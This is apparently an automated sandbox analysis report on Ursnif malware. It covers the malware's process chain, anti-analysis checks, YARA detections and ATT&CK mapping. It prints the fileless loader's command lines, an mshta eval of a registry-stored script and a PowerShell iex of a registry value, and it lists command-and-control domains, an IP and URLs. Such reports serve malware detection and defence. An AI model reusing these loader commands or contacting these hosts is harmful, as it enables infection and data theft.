Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: TCPDUMP.EXE
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: FILEMON.EXET
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: U.SANDBOXIEDCOMLAUNCH.EXE
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: A9$BEHAVIORDUMPER.EXEQ
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: DUMPCAP.EXE

Source: C:\Windows\System32\wscript.exe TID: 1992	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5964	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.dll			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6643
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2678

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05741577 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_057314A0 wcscpy,lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05746E4E lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\rundll32.exe

Source: rundll32.exe, 00000012.00000003.797288272.0000000000B78000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_05745529 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_05752A09 ConvertStringSecurityDescriptorToSecurityDescriptorA,StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler,

HIPS / PFW / Operating System Protection Evasion:

Benign windows process drops PE files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: fum.cpp.0.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: atl.bigbigpoppa.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.251.90.253 80

Compiles code for process injection (via .Net compiler)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.0.cs

Jump to dropped file

Source: unknown

Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>'

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB252.tmp' 'c:\Users\user\AppData\Local\Temp\kuljoghz\CSCFD41DB177D83417DAD6FB740EC17B379.TMP'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC397.tmp' 'c:\Users\user\AppData\Local\Temp\cshxvr3e\CSC395E5146EDFE427593BFE3FCA45BE18C.TMP'

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_00F26CD6 cpuid

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_0574E3F3 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_00F266CE GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_00F25A5D GetVersion,lstrcat,lstrcat,lstrcat,GetLastError,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_00F26CD6 wsprintfA,RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: procmon.exe
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: tcpview.exe
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: wireshark.exe
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: avz.exe
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: cports.exe
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: lordpe.exe
Source: wscript.exe, 00000000.00000003.716309926.000001C4938DD000.00000004.00000001.sdmp	Binary or memory string: icesword.exe
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: autoruns.exe
Source: wscript.exe, 00000000.00000003.716280073.000001C4938A8000.00000004.00000001.sdmp	Binary or memory string: ollydbg.exe
Source: wscript.exe, 00000000.00000003.716129422.000001C4938E6000.00000004.00000001.sdmp	Binary or memory string: regshot.exe

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000012.00000003.794954307.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794836470.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794735521.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.797221471.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794770084.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794874719.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794800647.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794900142.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794931081.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.801557253.000000000517C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.5328d48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.52f94a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.871947216.0000000004FFF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799908702.000000000527A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799937952.00000000052F9000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.890326064.00000200BE266000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000012.00000003.794954307.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794836470.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794735521.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.797221471.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794770084.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794874719.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794800647.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794900142.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794931081.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.801557253.000000000517C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.5328d48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.52f94a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.871947216.0000000004FFF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799908702.000000000527A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799937952.00000000052F9000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.890326064.00000200BE266000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation221	Valid Accounts1	Valid Accounts1	Disable or Modify Tools1	Credential API Hooking3	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Default Accounts	Scripting121	Boot or Logon Initialization Scripts	Access Token Manipulation1	Scripting121	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Email Collection1	Exfiltration Over Bluetooth	Encrypted Channel2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Process Injection212	Obfuscated Files or Information2	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Credential API Hooking3	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Exploitation for Client Execution1	Logon Script (Mac)	Logon Script (Mac)	File Deletion1	NTDS	System Information Discovery46	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Command and Scripting Interpreter1	Network Logon Script	Network Logon Script	Rootkit4	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	PowerShell1	Rc.common	Rc.common	Masquerading11	Cached Domain Credentials	Security Software Discovery131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Valid Accounts1	DCSync	Virtualization/Sandbox Evasion41	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Modify Registry1	Proc Filesystem	Process Discovery2	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Access Token Manipulation1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Virtualization/Sandbox Evasion41	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection212	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Rundll321	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
18.2.rundll32.exe.f20000.0.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

Source	Detection	Scanner	Label	Link
art.microsoftsofymicrosoftsoft.at	4%	Virustotal		Browse
atl.bigbigpoppa.com	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://art.microsoftsofymicrosoftsoft.at/M0s2qYX0svCgNwwi/PPI7Xc5SLSkLQIY/5lrOW2oNgPCEjObB3W/rK9MpeZNZ/UBjNTHqn019AlZCIEx5P/tkwag9cTBuiHiomNMOd/c4Fs5ApV0T_2BnjVwW3gyf/bJPiicUJ8f_2F/p_2BzDHN/AttyzxcYoU5_2FqrCObbGoi/jSm_2BVGxu/KGJY3tUfrdwytDYZ_/2BjCzYCnXysU/C2JbU3dlXVl/5uJ7MQlXxw8eLV/q0zaTcL3CTeSA980379DA/dHPHAS9NwOC9V6VK/lP_2FDVrlGe4ayd/LAmEzNRn3GukTSqHPk/HGsc32BVj/4Gvn4Q9G8MH6Q5yTHXJc/ulutZq7s	0%	Avira URL Cloud	safe
http://art.microsoftsofymicrosoftsoft.at/08OHsz1N1FvuG6kjmE/aTh0zMsnZ/SI0oUmCO_2BS5MoLEECj/uZ7K5bJdnYQx3WN05uH/v_2Fm83_2BmFHvZHPW65zA/GW0_2BJDiUD1w/ZK6b_2Bh/StY6HpePFkaOsmwn5z64jk4/hNqOPWlFAk/QdUHTQ0be2zDX_2Bp/gFERm0UEw08y/zSKvozh3BGq/IuojbbR5mE_2FM/dq0z5j8vfE1Mb6ztPRP2X/B41DadMfELfCe7ey/X881VUbPPRiD756/vcgjm_2B6diCc8QiJ8/zWiCv09og/LPjcs0IySRyGzo4FtAjY/MaQN7Yj0rwdcUGBU3Lw/cxZIrRpMI9kt/XnFePhCWR/v	0%	Avira URL Cloud	safe
http://constitution.org/usdeclar.txt	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://art.microsoftsofymicrosoftsoft.at/W7oPFKe8v92MJK/3s9n12Zlxxip0RpYqadjX/SO7W1_2FF9Pkd4OV/Fr1cAJR5yzwxrV5/Jx7W_2FGpEVbkHb92i/nk7onhk3e/t3LARu0x8PsikCuNcG3A/xVZtlmy23EEwScpeJDo/wvuFYBZUTBSU84oV7Elz6G/vj_2F1HMVCKsF/ltj9usP8/bN_2Bx9_2BXwYInwNajYI72/h9Hrv5vhx_/2F82si9cIkqX7v6R4/9UOOaco5x39h/66X8TzwdR07/vkpw_2FwebnNKA/xttU1J1hU1aqHEwJ_2BPb/e_2FLASBRA3M51hv/aDQxYMFh2bS_2BM53oI/t	0%	Avira URL Cloud	safe
https://contoso.com/	0%	URL Reputation	safe
http://constitution.org/usdeclar.txtC:	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://atl.bigbigpoppa.com/HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNW	100%	Avira URL Cloud	malware
http://atl.bigbigpoppa.com/	100%	Avira URL Cloud	malware
http://https://file://USER.ID%lu.exe/upd	0%	Avira URL Cloud	safe
http://atl.bigbigpoppa.com/LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44eu	100%	Avira URL Cloud	malware
http://atl.bigbigpoppa.com/HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNWGS38iu6HBSu0eZQC/bmSTwgO68w/mDzLSD0yv5NsCWUYa/KrMPefIXTo7Y/kYocGyKbfHI/qpROOMC7W3BpuS/FiHxn9Vj_2BE_2BRO1MPS/HSvVFR_2FvFubdta/FMJR0bw3OFOckhz/gihVzVqSiIHGsYLcl_/2FiUzDnO5/Znp2qHqDPmJt_2FKhKU2/B1dWx_2FKsmf5DpcS8Z/eu7lOAGu9ogHBSfDIGfPdL/lCnFrX6yLs9rJ/djJKkMKB/PGYeMNf7nd3nwYWaABiF0QM/d	100%	Avira URL Cloud	malware
http://atl.bigbigpoppa.com/LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44euzNQd9TRf/1Zb3P4q5F0mc0qdltC/bLlV5uCsx/obqe2ve9g7Th5DnAa17u/ifRiDnyBBWyxfspwjbc/4e64zsAjWvHHh07WM2IgYy/t1JnmxqkM0edm/B_2Fp0Xl/aO6EV9JJQOgg5QsFoCbzQfO/_2BOZLcUIR/ooMrpCxMndVWwPntp/mvRIBZb_2B_2/Beg4_2F_2Fr/I_2FcfrvgLZ_2F/J3NCkzqZf5_2Fr1C_2BZp/h9SFOIo1qkmT8Tal/3qdDBO5XKEdw_2F/4xqo8eXRx/pJscFz7Rq/r	100%	Avira URL Cloud	malware
http://atl.bigbigpoppa.com/yycLCxNRZEFU2J4UrQOl/FX7uF3nnSEu1rXBTN4d/LylqoAvPuubQ7SHiRZfBKF/4dapCnHjf6OGO/yl6rivKE/fgvQJKMe8TaTP5ycHGNAJUS/0YTRa2nWMo/en2LMiL2tQIZKUpol/smZ_2B4BmeyI/57ObWaf9NZW/uHAXXMRRQnyL7K/pZ21NZyhAYoU6jMX_2FXx/_2F1viwpW6B_2BQx/yytF1Qgt5sD6QuY/yCiBnG89B2zLl6ouYK/ovFfokaNC/WnbbXZP7gD7mtpGqOSST/2_2Fq_2BjMeuOfq6Yo5/TugSOTNVmBx8AK0VzEQO9D/fxXdG0idPk4t/207vRTOEh/oW	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
resolver1.opendns.com	208.67.222.222	true	false		high
art.microsoftsofymicrosoftsoft.at	185.251.90.253	true	true	4%, Virustotal, Browse	unknown
atl.bigbigpoppa.com	185.251.90.253	true	true	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://art.microsoftsofymicrosoftsoft.at/M0s2qYX0svCgNwwi/PPI7Xc5SLSkLQIY/5lrOW2oNgPCEjObB3W/rK9MpeZNZ/UBjNTHqn019AlZCIEx5P/tkwag9cTBuiHiomNMOd/c4Fs5ApV0T_2BnjVwW3gyf/bJPiicUJ8f_2F/p_2BzDHN/AttyzxcYoU5_2FqrCObbGoi/jSm_2BVGxu/KGJY3tUfrdwytDYZ_/2BjCzYCnXysU/C2JbU3dlXVl/5uJ7MQlXxw8eLV/q0zaTcL3CTeSA980379DA/dHPHAS9NwOC9V6VK/lP_2FDVrlGe4ayd/LAmEzNRn3GukTSqHPk/HGsc32BVj/4Gvn4Q9G8MH6Q5yTHXJc/ulutZq7s	true	Avira URL Cloud: safe	unknown
http://art.microsoftsofymicrosoftsoft.at/08OHsz1N1FvuG6kjmE/aTh0zMsnZ/SI0oUmCO_2BS5MoLEECj/uZ7K5bJdnYQx3WN05uH/v_2Fm83_2BmFHvZHPW65zA/GW0_2BJDiUD1w/ZK6b_2Bh/StY6HpePFkaOsmwn5z64jk4/hNqOPWlFAk/QdUHTQ0be2zDX_2Bp/gFERm0UEw08y/zSKvozh3BGq/IuojbbR5mE_2FM/dq0z5j8vfE1Mb6ztPRP2X/B41DadMfELfCe7ey/X881VUbPPRiD756/vcgjm_2B6diCc8QiJ8/zWiCv09og/LPjcs0IySRyGzo4FtAjY/MaQN7Yj0rwdcUGBU3Lw/cxZIrRpMI9kt/XnFePhCWR/v	true	Avira URL Cloud: safe	unknown
http://art.microsoftsofymicrosoftsoft.at/W7oPFKe8v92MJK/3s9n12Zlxxip0RpYqadjX/SO7W1_2FF9Pkd4OV/Fr1cAJR5yzwxrV5/Jx7W_2FGpEVbkHb92i/nk7onhk3e/t3LARu0x8PsikCuNcG3A/xVZtlmy23EEwScpeJDo/wvuFYBZUTBSU84oV7Elz6G/vj_2F1HMVCKsF/ltj9usP8/bN_2Bx9_2BXwYInwNajYI72/h9Hrv5vhx_/2F82si9cIkqX7v6R4/9UOOaco5x39h/66X8TzwdR07/vkpw_2FwebnNKA/xttU1J1hU1aqHEwJ_2BPb/e_2FLASBRA3M51hv/aDQxYMFh2bS_2BM53oI/t	true	Avira URL Cloud: safe	unknown
http://atl.bigbigpoppa.com/HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNWGS38iu6HBSu0eZQC/bmSTwgO68w/mDzLSD0yv5NsCWUYa/KrMPefIXTo7Y/kYocGyKbfHI/qpROOMC7W3BpuS/FiHxn9Vj_2BE_2BRO1MPS/HSvVFR_2FvFubdta/FMJR0bw3OFOckhz/gihVzVqSiIHGsYLcl_/2FiUzDnO5/Znp2qHqDPmJt_2FKhKU2/B1dWx_2FKsmf5DpcS8Z/eu7lOAGu9ogHBSfDIGfPdL/lCnFrX6yLs9rJ/djJKkMKB/PGYeMNf7nd3nwYWaABiF0QM/d	true	Avira URL Cloud: malware	unknown
http://atl.bigbigpoppa.com/LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44euzNQd9TRf/1Zb3P4q5F0mc0qdltC/bLlV5uCsx/obqe2ve9g7Th5DnAa17u/ifRiDnyBBWyxfspwjbc/4e64zsAjWvHHh07WM2IgYy/t1JnmxqkM0edm/B_2Fp0Xl/aO6EV9JJQOgg5QsFoCbzQfO/_2BOZLcUIR/ooMrpCxMndVWwPntp/mvRIBZb_2B_2/Beg4_2F_2Fr/I_2FcfrvgLZ_2F/J3NCkzqZf5_2Fr1C_2BZp/h9SFOIo1qkmT8Tal/3qdDBO5XKEdw_2F/4xqo8eXRx/pJscFz7Rq/r	true	Avira URL Cloud: malware	unknown
